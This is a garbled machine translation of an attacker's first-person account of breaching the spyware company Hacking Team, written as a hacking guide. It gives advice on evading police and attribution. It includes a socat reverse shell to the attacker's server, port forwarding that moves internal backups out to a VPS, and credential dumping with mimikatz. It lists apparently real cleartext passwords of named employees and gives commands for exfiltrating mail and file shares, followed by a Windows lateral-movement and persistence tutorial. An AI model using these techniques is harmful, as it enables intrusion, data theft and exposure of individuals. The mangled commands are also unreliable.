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  1. - [1 - Introduction] ------------------------------------------- ----------------
  2.  
  3. You'll notice the language change since the last edition [1]. Speaking world
  4. English already has books, lectures, guides, and information about spare
  5. hacking. In this world there are many better I hackers, but unfortunately
  6. They squander their knowledge working for contractors "defense"
  7. for intelligence agencies to protect the banks and corporations and
  8. to defend the established order. The hacker culture was born in the US as a
  9. counterculture, but that source has remained in mere aesthetics - the rest has
  10. It has been assimilated. At least they can wear a shirt, dye her hair blue,
  11. hackers use their nicknames, and feel rebels while working for the
  12. system.
  13.  
  14. Before someone had to sneak into the offices to filter documents [2].
  15. a gun to rob a bank was needed. Today you can do it from
  16. bed with a laptop in hands [3] [4]. As the CNT said after the
  17. Gamma hack Group: "we try to take another step forward with new
  18. forms of struggle "[5]. The hack is a powerful tool, let us learn and
  19. let's fight!
  20.  
  21. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  22. [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
  23. [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
  24. [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
  25. [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group
  26.  
  27.  
  28. - [2 - Hacking Team] ------------------------------------------ ----------------
  29.  
  30. Hacking Team was a company that helped governments to hack and spy on
  31. journalists, activists, political opponents, and other threats to their power
  32. [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]. And, very occasionally, criminals and
  33. terrorists [12]. A Vincenzetti, CEO, liked to finish his post with
  34. the fascist slogan "boia chi molla". It would be more successful "boia RCS sells chi".
  35. They also claimed to have technology to solve the "problem" of Tor and
  36. darknet [13]. But seeing that I still have my freedom, I have my doubts about
  37. their effectiveness.
  38.  
  39. [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
  40. [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
  41. [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
  42. [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
  43. [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
  44. [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
  45. [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
  46. [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
  47. [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
  48. [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
  49. [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
  50. [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
  51. [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
  52.  
  53. Unfortunately, our world is upside down. Enriches you do bad things
  54. and imprisons you do good things. Fortunately, thanks to the work
  55. hard for people such as "Tor project" [1], you can keep you from getting into the
  56. jail by a few simple guidelines:
  57.  
  58. 1) Encrypt your hard drive [2]
  59.  
  60.    I guess when the police arrive to impound your computer,
  61.    mean you've already made many mistakes, but better safe
  62.    than cure.
  63.  
  64. 2) Use a virtual machine and all traffic routed by Tor
  65.  
  66.    This accomplishes two things. First, that all connections are anonymized to
  67.    through the Tor network. Second, keep personal life and anonymous life
  68.    on different computers it helps you not to mix by accident.
  69.  
  70.    You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or something
  71.    personalized [6]. Here [7] there is a detailed comparison.
  72.  
  73. 3) (Optional) Do not connect directly to the Tor network
  74.    
  75.    Tor is not the panacea. You can correlate the hours that you are connected
  76.    Tor with the hours that your nickname is active hacker. There have also been
  77.    successful attacks against the network [8]. You can connect to the Tor network through
  78.    wifi others. Wifislax [9] is a Linux distribution with many
  79.    tools to get wifi. Another option is to connect to a VPN or
  80.    bridge node [10] before Tor, but is less secure because it still is
  81.    They may correlate with hacker activity internet activity
  82.    your home (this example was used as evidence against Jeremy Hammond
  83.    [eleven]).
  84.  
  85.    The reality is that even though Tor is not perfect, it works quite well.
  86.    When I was young and reckless, did many things without any protection (me
  87.    referring to hacking) other than Tor, police made it impossible
  88.    investigate, and I've never had problems.
  89.  
  90.  
  91. [1] https://www.torproject.org/
  92. [2] https://info.securityinabox.org/es/chapter-4
  93. [3] https://www.whonix.org/
  94. [4] https://tails.boum.org/
  95. [5] https://www.qubes-os.org/doc/privacy/torvm/
  96. [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
  97. [7] https://www.whonix.org/wiki/Comparison_with_Others
  98. [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
  99. [9] http://www.wifislax.com/
  100. [10] https://www.torproject.org/docs/bridges.html.en
  101. [eleven] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
  102.  
  103.  
  104. ---- [3.1 - Infrastructure] ----------------------------------------- ----------
  105.  
  106. No hacking directly with output relays Tor. They are blacklisted,
  107. They are very slow, and you can not receive reverse connections. Tor serves to
  108. protect my anonymity while I connect to the infrastructure used for
  109. hack, which consists of:
  110.  
  111. 1) Domain Names
  112.  
  113.    Addresses used for command and control (C & C), and for tunnels
  114.    DNS for insured egress.
  115.  
  116. 2) Stable Servers
  117.  
  118.    It serves to C & C servers to receive reverse shells, to launch
  119.    attacks and keep the loot.
  120.  
  121. 3) Servers Hacked
  122.  
  123.    They serve as pivots to hide the IP of stable servers, and
  124.    when I want a quick connection without pivot. For example scan ports,
  125.    scan the whole internet, download a database with SQL injection,
  126.    etc.
  127.  
  128. Obviously you have to pay anonymously, as bitcoin (if you use it with
  129. watch out).
  130.  
  131.  
  132. ---- [3.2 - Allocation] ----------------------------------------- ---------------
  133.  
  134. Often in the news that have attributed an attack on a group of
  135. governmental hackers (the "APTs"), because they always use the same
  136. tools, leaving the same fingerprints, and even use the same
  137. infrastructure (domains, mail etc). They neglect because they can hack
  138. without legal consequences.
  139.  
  140. I did not want to make it easier for police work and relate what Hacking
  141. Team with hacks and nicknames of my daily work as a hacker glove
  142. black. So I used new servers and domains registered with new post
  143. and paid with new bitcoin address. In addition, only I used tools
  144. public and things that I wrote especially for this attack and changed my way
  145. to do some things to keep my normal forensic trace.
  146.  
  147.  
  148. - [4 - Gathering Information] ------------------------------------------ ---------
  149.  
  150. Although it can be tedious, this stage is very important, because the more
  151. larger the attack surface, the easier it will be to find a fault in a
  152. portion thereof.
  153.  
  154.  
  155. ---- [4.1 - Technical Information] ---------------------------------------- -------
  156.  
  157. Some tools and techniques are:
  158.  
  159. 1) Google
  160.  
  161.    You can find many unexpected things with a couple of good searches
  162.    picked. For example, the identity of DPR [1]. The bible of how to use
  163.    google to hack is the book "Google Hacking for Penetration Testers".
  164.    You can also find a brief summary in Spanish in [2].
  165.  
  166. 2) Enumeration of subdomains
  167.  
  168.    Often the primary domain of a company is hosted by a third party, and
  169.    you are getting the IP ranges of the company thanks to subdomains as
  170.    mx.company.com, ns1.company.com etc. Also, sometimes there are things that should not be
  171.    be exposed to "hidden" subdomains. Useful tools for
  172.    discover domains and subdomains are fierce [3], theHarvester [4] and
  173.    recon-ng [5].
  174.  
  175. 3) reverse lookups and searches whois
  176.  
  177.    With a reverse search using the whois information of a domain or range
  178.    IPs of a company, you can find others of their domains and ranges
  179.    IPs. To my knowledge, there is no free way to do reverse lookups
  180.    whois, apart from a "hack" with google:
  181.    
  182.    "Via della Moscova 13" site: www.findip-address.com
  183.    "Via della Moscova 13" site: domaintools.com
  184.  
  185. 4) Port scanning and fingerprinting
  186.  
  187.    Unlike other techniques, this speaks servers
  188.    company. I include in this section because it is not an attack, it is only for
  189.    gather information. The company IDS can generate an alert to
  190.    scan ports, but you do not have to worry because all internet
  191.    it is constantly being scanned.
  192.  
  193.    To scan, nmap [6] necessary, and can fingerprint most
  194.    services discovered. For companies with very long ranges of IPs,
  195.    ZMap [7] or masscan [8] are fast. WhatWeb [9] or BlindElephant [10]
  196.    You can fingerprint websites.
  197.  
  198. [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
  199. [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
  200. [3] http://ha.ckers.org/fierce/
  201. [4] https://github.com/laramies/theHarvester
  202. [5] https://bitbucket.org/LaNMaSteR53/recon-ng
  203. [6] https://nmap.org/
  204. [7] https://zmap.io/
  205. [8] https://github.com/robertdavidgraham/masscan
  206. [9] http://www.morningstarsecurity.com/research/whatweb
  207. [10] http://blindelephant.sourceforge.net/
  208.  
  209.  
  210. ---- [4.2 - Social Information] ---------------------------------------- --------
  211.  
  212. For social engineering, it is very useful to collect information about
  213. employees, their roles, contact information, operating system, browser,
  214. plugins, software, etc. Some resources are:
  215.  
  216. 1) Google
  217.  
  218.    Here too, it is the most useful tool.
  219.  
  220. 2) theHarvester and recon-ng
  221.  
  222.    I have already mentioned in the previous section, but have much more
  223.    functionality. You can find a lot of information quickly and
  224.    automated. Worth reading all documentation.
  225.  
  226. 3) LinkedIn
  227.  
  228.    You can find much information about the employees here. The
  229.    Company recruiters are more likely to accept your requests.
  230.  
  231. 4) Data.com
  232.  
  233.    Formerly known as jigsaw. You have the contact information of many
  234.    employees.
  235.  
  236. 5) Metadata file
  237.  
  238.    You can find lots of information about employees and their systems
  239.    metadata files that the company has published. helpful Tools
  240.    to find files on the website of the company and extract
  241.    Metadata is metagoofil [1] and FOCA [2].
  242.  
  243. [1] https://github.com/laramies/metagoofil
  244. [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
  245.  
  246.  
  247. - [5 - Entering the Network] ---------------------------------------- ------------
  248.  
  249. There are several ways to make entry. Since the method I used for hacking
  250. team is rare and much more work than is usually necessary,
  251. I'll talk a bit about the two most common methods, I recommend trying
  252. First.
  253.  
  254.  
  255. ---- [5.1 - Social Engineering] ---------------------------------------- ---------
  256.  
  257. social engineering, spear phishing specifically, is responsible for the
  258. Most hacking today. For an introduction in Spanish, see [1].
  259. For more information in English, see [2] (the third part, "Targeted
  260. Attacks "). For social engineering amusing anecdotes generations
  261. past, see [3]. I did not want to try spear phishing against Hacking Team,
  262. because your business is to help governments to spear phish their opponents.
  263. Therefore there is a much higher risk that recognize and Hacking Team
  264. investigate this attempt.
  265.  
  266. [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
  267. [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
  268. [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
  269.  
  270.  
  271. ---- [5.2 - Buy Access] ---------------------------------------- ------------
  272.  
  273. Thanks to painstaking Russians and their exploit kits, smugglers trafficking, and
  274. bot herders, many companies already have compromised computers within
  275. their networks. Almost all Fortune 500, with their huge networks have a
  276. bots already inside. However, Hacking Team is a very small company, and
  277. Most employees are experts in computer security, then there was
  278. little chance that were already committed.
  279.  
  280.  
  281. ---- [5.3 - Technical Operations] ---------------------------------------- -------
  282.  
  283. After hacking Gamma Group, I described a process to search
  284. vulnerabilities [1]. Hacking Team has a range of public IP:
  285. inetnum: 93.62.139.32 - 93.62.139.47
  286. descr: HT public subnet
  287.  
  288. Hacking Team had very little exposed to the internet. For example, different
  289. Gamma Group, your site customer needs a certificate
  290. client to connect. What he had was his main website (a blog Joomla
  291. that Joomscan [2] reveals no serious failure), a server post a
  292. pair of routers, two VPN devices, and a device for filtering spam.
  293. Then I had three options: find a 0day in Joomla, find a 0day in
  294. postfix, or find a 0day in one of the embedded systems. A 0day a
  295. embedded system seemed the most attainable option, and after two weeks
  296. reverse engineering work, I got a remote root exploit. Given the
  297. vulnerabilities have not yet been patched, I will not give more details.
  298. For more information on how to find these vulnerabilities, see
  299. [3] and [4].
  300.  
  301. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  302. [2] http://sourceforge.net/projects/joomscan/
  303. [3] http://www.devttys0.com/
  304. [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
  305.  
  306.  
  307. - [6 - Be Prepared] ------------------------------------------ -------------
  308.  
  309. I did a lot of work and testing before using the exploit against Hacking Team.
  310. I wrote a backdoor firmware, and compiled several tools
  311. post-exploitation for embedded system. The backdoor serves to protect the
  312. exploit. Use the exploit only once and then return by the backdoor ago
  313. work harder to find and patch vulnerabilities.
  314.  
  315. The post-exploitation tools he had prepared were:
  316.  
  317. 1) busybox
  318.  
  319.    For all common UNIX utilities that the system did not.
  320.  
  321. 2) nmap
  322.  
  323.    To scan and fingerprint the internal network of Hacking Team.
  324.  
  325. 3) Responder.py
  326.  
  327.    The most useful tool to attack Windows networks when you have access to
  328.    the internal network but do not have a domain user.
  329.  
  330. 4) Python
  331.  
  332.    To run Responder.py
  333.  
  334. 5) tcpdump
  335.  
  336.    To snoop traffic.
  337.  
  338. 6) dsniff
  339.  
  340.    Weak passwords to spy protocols such as ftp, and to make
  341.    ARP spoofing. I wanted to use ettercap, written by the same ALOR and naga
  342.    Hacking Team, but it was difficult to compile for the system.
  343.  
  344. 7) socat
  345.  
  346.    For a comfortable shell with pty:
  347.    my_server: socat file: `tty`, raw, echo = 0 tcp-listen: mi_puerto
  348.    Hacked system: socat exec: 'bash -li' pty, stderr, setsid, SIGINT, heal \
  349. tcp: my_server: I mi_puerto
  350.  
  351.    And for many other things, it is a Swiss Army knife of networking. See section
  352.    Examples of documentation.
  353.  
  354. 8) screen
  355.  
  356.    As socat pty is not strictly necessary, but I wanted to feel
  357.    at home in networks Hacking Team.
  358.  
  359. 9) a SOCKS proxy server
  360.  
  361.    To use with proxychains to access the internal network with any
  362.    another program.
  363.  
  364. 10) tgcd
  365.  
  366.    To forward ports, as SOCKS server through the firewall.
  367.  
  368. [1] https://www.busybox.net/
  369. [2] https://nmap.org/
  370. [3] https://github.com/SpiderLabs/Responder
  371. [4] https://github.com/bendmorris/static-python
  372. [5] http://www.tcpdump.org/
  373. [6] http://www.monkey.org/~dugsong/dsniff/
  374. [7] http://www.dest-unreach.org/socat/
  375. [8] https://www.gnu.org/software/screen/
  376. [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
  377. [10] http://tgcd.sourceforge.net/
  378.  
  379.  
  380. The worst that could happen was that my backdoor or post-exploitation tools
  381. dejasen unstable the system and make an employee to investigate. By
  382. So I spent a week trying my exploit, backdoor, and tools
  383. post-operation over networks of other vulnerable companies before entering
  384. Network Hacking Team.
  385.  
  386.  
  387. - [7 - Look and Listen] ----------------------------------------- ----------
  388.  
  389. Now within the internal network, I want to take a look and think before giving
  390. the next step. I turn Responder.py in analysis mode (-A, to listen without
  391. Poisoned answers), and make a slow scan with nmap.
  392.  
  393.  
  394. - [8 - NoSQL databases] ---------------------------------------- ----------
  395.  
  396. NoSQL, or rather NoAutenticación has been a great gift to the community
  397. hacker [1]. When I worry that they have finally patched all failures
  398. Authentication Bypass in MySQL [2] [3] [4] [5] put new fashion base
  399. Data unauthenticated by design. Nmap is a few on the net
  400. Internal Hacking Team:
  401.  
  402. 27017 / tcp open MongoDB MongoDB 2.6.5
  403. | mongodb-databases:
  404. | ok = 1
  405. | totalSizeMb = 47547
  406. | totalSize = 49856643072
  407. ...
  408. | _ Version = 2.6.5
  409.  
  410. 27017 / tcp open MongoDB MongoDB 2.6.5
  411. | mongodb-databases:
  412. | ok = 1
  413. | totalSizeMb = 31987
  414. | totalSize = 33540800512
  415. | DATABASES
  416. ...
  417. | _ Version = 2.6.5
  418.  
  419. Were the databases for RCS test instances. The audio recording
  420. RCS is stored in MongoDB with GridFS. The audio folder on torrent [6]
  421. It comes from this. Unwittingly they spied on themselves.
  422.  
  423. [1] https://www.shodan.io/search?query=product%3Amongodb
  424. [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
  425. [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
  426. [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
  427. [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
  428. [6] https://ht.transparencytoolkit.org/audio/
  429.  
  430.  
  431. - [9 - Cables Cruzados] ------------------------------------------ -------------
  432.  
  433. Although it was fun to listen to recordings and view images Hacking webcam
  434. Team developing its malware was not very useful. Unsteady copies of
  435. security vulnerability were opened. according to his
  436. documentation [1], its iSCSI devices must be on a separate network,
  437. but nmap find some in your 192.168.1.200/24 ​​subnet:
  438.  
  439. Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
  440. ...
  441. 3260 / tcp open iscsi?
  442. | iscsi-info:
  443. | Target: iqn.2000-01.com.synology: ht-synology.name
  444. | Address: 192.168.200.66:3260,0
  445. | _ Authentication: No authentication required
  446.  
  447. Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
  448. ...
  449. 3260 / tcp open iscsi?
  450. | iscsi-info:
  451. | Target: iqn.2000-01.com.synology: synology-backup.name
  452. | Address: 10.0.1.72:3260,0
  453. | Address: 192.168.200.72:3260,0
  454. | _ Authentication: No authentication required
  455.  
  456. iSCSI requires a kernel module, and compile it would have been difficult for the
  457. embedded system. I forwarded the port to mount from a VPS:
  458.  
  459. VPS: tgcd -L -p 3260 -q 42838
  460. Embedded system: tgcd -C -s -c 192.168.200.72:3260 VPS_IP: 42838
  461.  
  462. VPS: iscsiadm discovery -m -p -t 127.0.0.1 SendTargets
  463.  
  464. Now you find the name iqn.2000-01.com.synology iSCSI but has problems
  465. when mounting because he believes his address is 192.168.200.72 instead of
  466. 127.0.0.1
  467.  
  468. The way I solved was:
  469. iptables -t nat -A OUTPUT -d -j 192.168.200.72 DNAT --to-destination 127.0.0.1
  470.  
  471. And now after:
  472. -m node iscsiadm --targetname = iqn.2000-01.com.synology: 192.168.200.72 -p synology-backup.name --login
  473.  
  474. ... The device file appears! We ride:
  475. vmfs-fuse -o ro / dev / sdb1 / mnt / tmp
  476.  
  477. and we find backups of multiple virtual machines. The server
  478. Exchange seems most interesting. It is too large to download,
  479. but we can mount remote and look for interesting files:
  480. $ Losetup / dev / loop0 Exchange.hackingteam.com-flat.vmdk
  481. $ Fdisk -l / dev / loop0
  482. / Dev / loop0p1 2048 1258287103 629142528 7 HPFS / NTFS / exFAT
  483.  
  484. then the offset is 2048 * 512 = 1048576
  485. 1048576 $ losetup -o / dev / loop1 / dev / loop0
  486. $ Mount -o ro / dev / loop1 / mnt / exchange /
  487.  
  488. now in / mnt / exchange / WindowsImageBackup / EXCHANGE / Backup 172311 10/14/2014
  489. We find the hard drive of the virtual machine, and assemble:
  490. vdfuse -r -t -f VHD f0f78089-D28a-11e2-a92c-005056996a44.vhd / mnt / vhd-disk /
  491. mount -o loop / mnt / vhd-disk / Partition1 / mnt / part1
  492.  
  493. ... And finally we unpacked the doll and we can see all
  494. the old Exchange server files in / mnt / part1
  495.  
  496. [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
  497.  
  498.  
  499. - [10 - Backup to Domain Administrator] ---------------------
  500.  
  501. What interests me most about the backup is to look if you have a
  502. or hash password you can use to access the current server. Use pwdump,
  503. cachedump, and lsadump [1] with the registry files. lsadump is the
  504. password account besadmin service:
  505.  
  506. _SC_BlackBerry MDS Connection Service
  507. 0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  508. 0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
  509. 0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00!.!.! ...........
  510.  
  511. proxychains [2] use the SOCKS server and embedded system
  512. smbclient [3] to check the password:
  513. proxychains smbclient //192.168.100.51/c$ '-U' hackingteam.local / besadmin% bes32678 !!! '
  514.  
  515. !Works! Besadmin password is still valid, and is an administrator
  516. local. I use my proxy and psexec_psh metasploit [4] for a session
  517. of meterpreter. Then I migrate to a 64-bit process, "load kiwi" [5]
  518. "Creds_wdigest", and I have many passwords, including the Administrator
  519. domain:
  520.  
  521. HACKINGTEAM BESAdmin bes32678 !!!
  522. HACKINGTEAM Administrator uu8dd8ndd12!
  523. HACKINGTEAM c.pozzi P4ssword <---- sysadmin go!
  524. M.romeo HACKINGTEAM ioLK / (90
  525. L.guerra HACKINGTEAM 4luc@=.=
  526. HACKINGTEAM D.Martinez W4tudul3sp
  527. HACKINGTEAM g.russo GCBr0s0705!
  528. A.scarafile HACKINGTEAM Cd4432996111
  529. HACKINGTEAM r.viscardi Ht2015!
  530. HACKINGTEAM a.mino A! E $$ andra
  531. HACKINGTEAM m.bettini Ettore & Bella0314
  532. M.luppi HACKINGTEAM Blackou7
  533. HACKINGTEAM s.gallucci 1S9i8m4o!
  534. HACKINGTEAM d.milan set! Dob66
  535. HACKINGTEAM w.furlan Blu3.B3rry!
  536. HACKINGTEAM d.romualdi Rd13136f @ #
  537. HACKINGTEAM l.invernizzi L0r3nz0123!
  538. HACKINGTEAM e.ciceri 2O2571 & 2E
  539. HACKINGTEAM e.rabe erab @ 4HT!
  540.  
  541. [1] https://github.com/Neohapsis/creddump7
  542. [2] http://proxychains.sourceforge.net/
  543. [3] https://www.samba.org/
  544. [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
  545. [5] https://github.com/gentilkiwi/mimikatz
  546.  
  547.  
  548. - [11 - Downloading Post] ----------------------------------------- ------
  549.  
  550. Now that I have the password for the domain administrator, I have access to
  551. mails, the heart of the company. Because with every step I take is a
  552. risk of detection, I download mails before further exploring.
  553. Powershell makes it easy [1]. Interestingly, I found a bug with handling
  554. dates. After getting the mail, I took a couple of weeks in
  555. get the source and other code, so I returned occasionally to
  556. download new emails. The server was Italian, with the dates
  557. day / month / year. Use:
  558. -ContentFilter {(Received -ge '05 / 06/2015 ') -or (Sent -ge '05 / 06/2015')}
  559.  
  560. with the New-MailboxExportRequest to download new mail (in this
  561. If all mail from June 5. The problem is that says
  562. the date is invalid if the day is greater than 12 (I guess this is because
  563. US that is the first month and month can not be greater than 12). Looks like
  564. Microsoft engineers have only tested their software with their own
  565. regional configuration.
  566.  
  567. [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
  568.  
  569.  
  570. - [12 - Downloading Files] ------------------------------------------ -------
  571.  
  572. Now I'm a domain administrator, I also began to download
  573. shares using my proxy and -Tc smbclient option for
  574. example:
  575.  
  576. proxychains smbclient //192.168.1.230/FAE DiskStation '\
  577.     -U 'HACKINGTEAM / Administrator% uu8dd8ndd12!' -TC FAE_DiskStation.tar '*'
  578.  
  579. So I downloaded the Amministrazione, FAE DiskStation, and FileServer folders
  580. the torrent.
  581.  
  582.  
  583. - [13 - Introduction to Hacking Windows Domain] -----------------------
  584.  
  585. Before continue telling the story of the Culiao Non-Windows, it should say something
  586. knowledge to attack Windows networks.
  587.  
  588.  
  589. ---- [13.1 - Lateral Movement] ---------------------------------------- -------
  590.  
  591. I will give a brief overview of the techniques to spread within a network
  592. Windows. Techniques to run remotely require the password or
  593. hash of a local administrator on the target. By far the most common way
  594. to get such credentials is to use mimikatz [1], especially
  595. logonpasswords and sekurlsa sekurlsa :: :: mSv, on computers where you already have
  596. administrative access. Movement techniques "in situ" also Require
  597. administrative privileges (I except for runes). The more tools
  598. important privilege escalation are PowerUp [2], and bypassuac [3].
  599.  
  600. [1] https://adsecurity.org/?page_id=1821
  601. [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
  602. [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
  603.  
  604.  
  605. Remote movement:
  606.  
  607. 1) psexec
  608.  
  609.    The basic and proven way of moving windows networks. You can use
  610.    psexec [1], winexe [2], psexec_psh metasploit [3], invoke_psexec of
  611.    powershell empire [4], or the Windows command "sc" [5]. For module
  612.    metasploit, powershell empire, and pth-winexe [6], enough to know the hash
  613.    without knowing the password. It is the most universal way (works on any
  614.    computer with port 445 open), but also way less
  615.    cautious. It appears in the 7045 event log type "Service
  616.    Control Manager. "In my experience, they have never realized for a
  617.    hack, but sometimes you notice later and helps researchers understand
  618.    what has made the hacker.
  619.  
  620. 2) WMI
  621.  
  622.    more cautious way. WMI service is enabled on all
  623.    Windows computers, but except for servers, the firewall blocks it
  624.    default. You can use wmiexec.py [7] pth-WMIS [6] (here's a
  625.    wmiexec demonstration and pth-WMIS [8]), invoke_wmi empire powershell
  626.    [9], or the Windows command wmic [5]. All but need only wmic
  627.    hash.
  628.  
  629. 3) PSRemoting [10]
  630.  
  631.    It is disabled by default, and not advise enable new
  632.    protocols that are not needed. But if the sysadmin already enabled,
  633.    is very convenient, especially if you use powershell for all (and yes,
  634.    you should use powershell for almost everything will change [11] with powershell 5
  635.    and Windows 10, but now powershell day makes it easy to do everything in RAM,
  636.    dodge antivirus, and leave few traces).
  637.  
  638. 4) Scheduled Tasks
  639.  
  640.    You can run remote programs at and schtasks [5]. It works on the
  641.    psexec same situations, and also leaves traces known [12].
  642.  
  643. 5) GPO
  644.  
  645.    If all these protocols are disabled or blocked by
  646.    firewall, once you are the domain administrator, you can use GPO
  647.    to give a logon script, install a msi, run a scheduled task
  648.    [13], or as we shall see computer Mauro Romeo (sysadmin Hacking
  649.    Team), enable WMI and open the firewall via GPO.
  650.  
  651. [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
  652. [2] https://sourceforge.net/projects/winexe/
  653. [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
  654. [4] http://www.powershellempire.com/?page_id=523
  655. [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
  656. [6] https://github.com/byt3bl33d3r/pth-toolkit
  657. [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
  658. [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
  659. [9] http://www.powershellempire.com/?page_id=124
  660. [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
  661. [11] https://adsecurity.org/?p=2277
  662. [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
  663. [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
  664.  
  665.  
  666. Movement "in situ"
  667.  
  668. 1) Impersonalizando Tokens
  669.  
  670.    Once you have administrative access to a computer, you can use the
  671.    tokens of other users to access resources in the domain. Two
  672.    tools to do this are incognito [1] and commands token :: * of
  673.    mimikatz [2].
  674.  
  675. 2) MS14-068
  676.  
  677.    You can take advantage of a validation failure kerberos to generate a
  678.    ticket domain administrator [3] [4] [5].
  679.  
  680. 3) Pass the Hash
  681.  
  682.    If you have your hash but the user has not logged on you can use
  683.    sekurlsa :: pth [2] for a ticket user.
  684.  
  685. 4) Injection Process
  686.  
  687.    Any RAT can be injected to another process, for example the command
  688.    pupy migrate in meterpreter and [6] or psinject [7] in powershell empire.
  689.    You can inject the process with the token you want.
  690.  
  691. 5) runes
  692.  
  693.    This is sometimes very useful because it does not require privileges
  694.    administrator. The command is part of windows, but if you have no interface
  695.    Graphics can use powershell [8].
  696.  
  697. [1] https://www.indetectables.net/viewtopic.php?p=211165
  698. [2] https://adsecurity.org/?page_id=1821
  699. [3] https://github.com/bidord/pykek
  700. [4] https://adsecurity.org/?p=676
  701. [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
  702. [6] https://github.com/n1nj4sec/pupy
  703. [7] http://www.powershellempire.com/?page_id=273
  704. [8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
  705.  
  706.  
  707. ---- [13.2 - Persistence] ----------------------------------------- ------------
  708.  
  709. Having gained access, you want to keep. Indeed, the persistence
  710. It's just a challenge for motherfuckers like they want Hacking Team
  711. hack activists or other individuals. Companies to hack, it goes
  712. persistence because companies never sleep. I always use "persistence"
  713. Duqu style 2 run in RAM on a pair of servers with high
  714. uptime percentages. In the unlikely event that all restarted at a time,
  715. I have a ticket passwords and gold [1] to access booking. You can read
  716. more information on persistence mechanisms for windows here
  717. [2. 3. 4]. But to hack into companies, you do not need and increases the risk of
  718. detection.
  719.  
  720. [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
  721. [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
  722. [3] http://www.hexacorn.com/blog/category/autostart-persistence/
  723. [4] https://blog.netspi.com/tag/persistence/
  724.  
  725.  
  726. ---- [13.3 - Internal Recognition] ---------------------------------------- ---
  727.  
  728. The best tool for understanding today Windows is Powerview networks [1].
  729. Worth reading everything written by the author [2] above all [3], [4], [5] and
  730. [6]. Powershell itself is also very powerful [7]. As there are still many
  731. 2003 and 2000 servers without powershell, you must also learn the old
  732. school [8], with tools like netview.exe [9] or the command windows
  733. "Net view". Other techniques that I like are:
  734.  
  735. 1) Download a list of file names
  736.  
  737.    With a domain administrator account, you can download all
  738.    file names on the network with powerview:
  739.  
  740.    Invoke-ShareFinderThreaded -ExcludedShares IPC $, PRINT $, ADMIN $ |
  741.    select-string '^ (. *) \ t' | % {$ _ Matches -recurse dir [0] .Groups [1]. |
